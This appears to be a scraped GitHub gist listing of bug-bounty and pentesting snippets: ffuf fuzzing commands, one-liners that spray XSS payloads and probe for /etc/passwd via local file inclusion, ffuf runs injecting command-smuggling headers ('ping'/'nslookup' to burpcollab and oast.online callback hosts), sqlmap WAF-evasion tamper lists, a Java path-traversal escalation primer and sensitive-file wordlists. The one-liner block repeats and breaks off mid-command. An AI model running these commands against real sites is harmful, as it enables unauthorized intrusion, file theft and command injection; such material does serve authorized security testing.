IAmNewbieZ / FFUF-Payloads.txt

Created January 21, 2023 10:13 — forked from Cuncis/FFUF-Payloads.txt

	```FFUF
	-fc (filter code): hidden
	-mc (match code): match/only
	-w: read from stdout (coding 1 line)
	-ic: ignore comments in wordlists (headers, copyright notes, comments, etc.)
	```

	```Payloads
	ffuf -u http://10.10.226.27/FUZZ -w /opt/seclists/raft-medium-words-lowercase.txt -c -e .php,.txt
	```

IAmNewbieZ / oneliner

Created January 21, 2023 10:10 — forked from 0x3n0/oneliner

	assetfinder https://exmple.com \| gau --subs \| egrep -v '(.css\|.svg)' \| while read url; do vars=$(curl -s $url \| grep -Eo "var [a-zA-Z0-9]+" \| sed -e 's,'var','"$url"?',g' -e 's/ //g' \| grep -v '.js' \| sed 's/.*/&=1"><svg onload=alert(1)>/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars";done

	assetfinder https://exmple.com \| gau --subs https://exmple.com \| gf lfi \| place "/etc/passwd" \| xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 \| grep -q "root:x" && echo "VULN! %"'

	gf lfi output/domains.txt \| place FUZZ \| while read url ; do ffuf -u $url -mr "root:x" -H "Host: $(hostname).burpcollab.net" -H "Referer: 8.8.8.8;ping -c 3 $(hostname).burpcollab.net" -H "X-Forwarded-Host: 8.8.8.8;nslookup+callesvmkd63gvfclgjg63ktieresg7dt.oast.online" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.64 Safari/537.36" -w ~/wordlist.txt -fc 405 -mc 200,403 -ac true; done

	### DNS rebinding for RCE
	gf lfi output/*.txt \| place FUZZ \| while read url ; do ffuf -u $url -mr "root:x" -H

IAmNewbieZ / SAST Tools.md

Created January 21, 2023 06:19 — forked from OTaKuHP/SAST Tools.md

SAST Tools

Curated list of security tools

💰 - Commercial Tool

Secrets Detection

Proactive

IAmNewbieZ / exploit_path_traversals_in_Java_webapps.txt

Created January 21, 2023 05:53 — forked from harisec/exploit_path_traversals_in_Java_webapps.txt

quick primer on how to exploit path traversals in Java web apps (i.e. you can read WEB-INF/web.xml)

	so, you can read WEB-INF/web.xml. how can you escalate this issue?

	[step 1]. try to read other common Java files such as WEB-INF/web-jetty.xml.

	use a specialized wordlist such as the following (from Sergey Bobrov/BlackFan):
	https://github.com/BlackFan/WEB-INF-dict/blob/master/web-inf.txt
	with time you can build your own wordlist adding files you've discovered over time.
	use Burp Intruder for this, it's perfect for this job.
	sort Intruder results by status code so you can see instantly which files were found.

IAmNewbieZ / interesting_dirsearch.txt

Created January 21, 2023 05:52 — forked from nullenc0de/interesting_dirsearch.txt

	uploads/affwp-debug.log
	certs/server.key
	server.key
	.CSV
	.PDF
	.README.md.bud
	.action
	.actionScriptProperties
	.angular-cli.json
	.apport-ignore.xml

IAmNewbieZ / sqlmap tamper scripts

Created January 21, 2023 05:48 — forked from sapran/sqlmap tamper scripts

sqlmap tamper scripts grouped by DBMS Copied from: https://prakash-khadka.com.np/wp-content/uploads/pdf/www-moonsec-com.pdf

	# All scripts
	```
	--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords
	```
	# General scripts
	```
	--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
	```
	# Microsoft access
	```

IAmNewbieZ / Bug Bounty Checklist and Cheatsheets.md

Created January 21, 2023 05:47 — forked from OTaKuHP/Bug Bounty Checklist and Cheatsheets.md

Bug Bounty Checklist and Cheatsheets

WAPT-https://github.com/KathanP19/HowToHunt/blob/master/CheckList/Web_Checklist_by_Chintan_Gurjar.pdf

Authenication-https://github.com/HolyBugx/HolyTips/blob/main/Checklist/Authentication.pdf

Oauth Misconfiguration-https://binarybrotherhood.io/oauth2_threat_model.html

File Upload-https://github.com/HolyBugx/HolyTips/blob/main/Checklist/File%20Upload.pdf

IAmNewbieZ / offsec.md

Created May 20, 2022 11:17 — forked from jivoi/offsec.md

Penetrating Testing/Assessment Workflow

Penetrating Testing/Assessment Workflow & other fun infosec stuff

https://github.com/jivoi/pentest

My feeble attempt to organize (in a somewhat logical fashion) the vast amount of information, tools, resources, tip and tricks surrounding penetration testing, vulnerability assessment, and information security as a whole*

Reconnaissance
- Passive/Semi-Passive
  - Tools
Discover - https://github.com/leebaird/discover

	assetfinder https://exmple.com \| gau --subs \| egrep -v '(.css\|.svg)' \| while read url; do vars=$(curl -s $url \| grep -Eo "var [a-zA-Z0-9]+" \| sed -e 's,'var','"$url"?',g' -e 's/ //g' \| grep -v '.js' \| sed 's/.*/&=1"><svg onload=alert(1)>/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars";done

	assetfinder https://exmple.com \| gau --subs https://exmple.com \| gf lfi \| place "/etc/passwd" \| xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 \| grep -q "root:x" && echo "VULN! %"'

	gf lfi output/domains.txt \| place FUZZ \| while read url ; do ffuf -u $url -mr "root:x" -H "Host: $(hostname).burpcollab.net" -H "Referer: 8.8.8.8;ping -c 3 $(hostname).burpcollab.net" -H "X-Forwarded-Host: 8.8.8.8;nslookup+callesvmkd63gvfclgjg63ktieresg7dt.oast.online" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.64 Safari/537.36" -w ~/wordlist.txt -fc 405 -mc 200,403 -ac true; done

	### DNS rebinding for RCE
	gf lfi output/*.txt \| place FUZZ \| while read url ; do ffuf -u $url -mr "root:x" -H

IAmNewbie IAmNewbieZ

SAST Tools

Secrets Detection

Proactive

Bug Bounty Checklist and Cheatsheets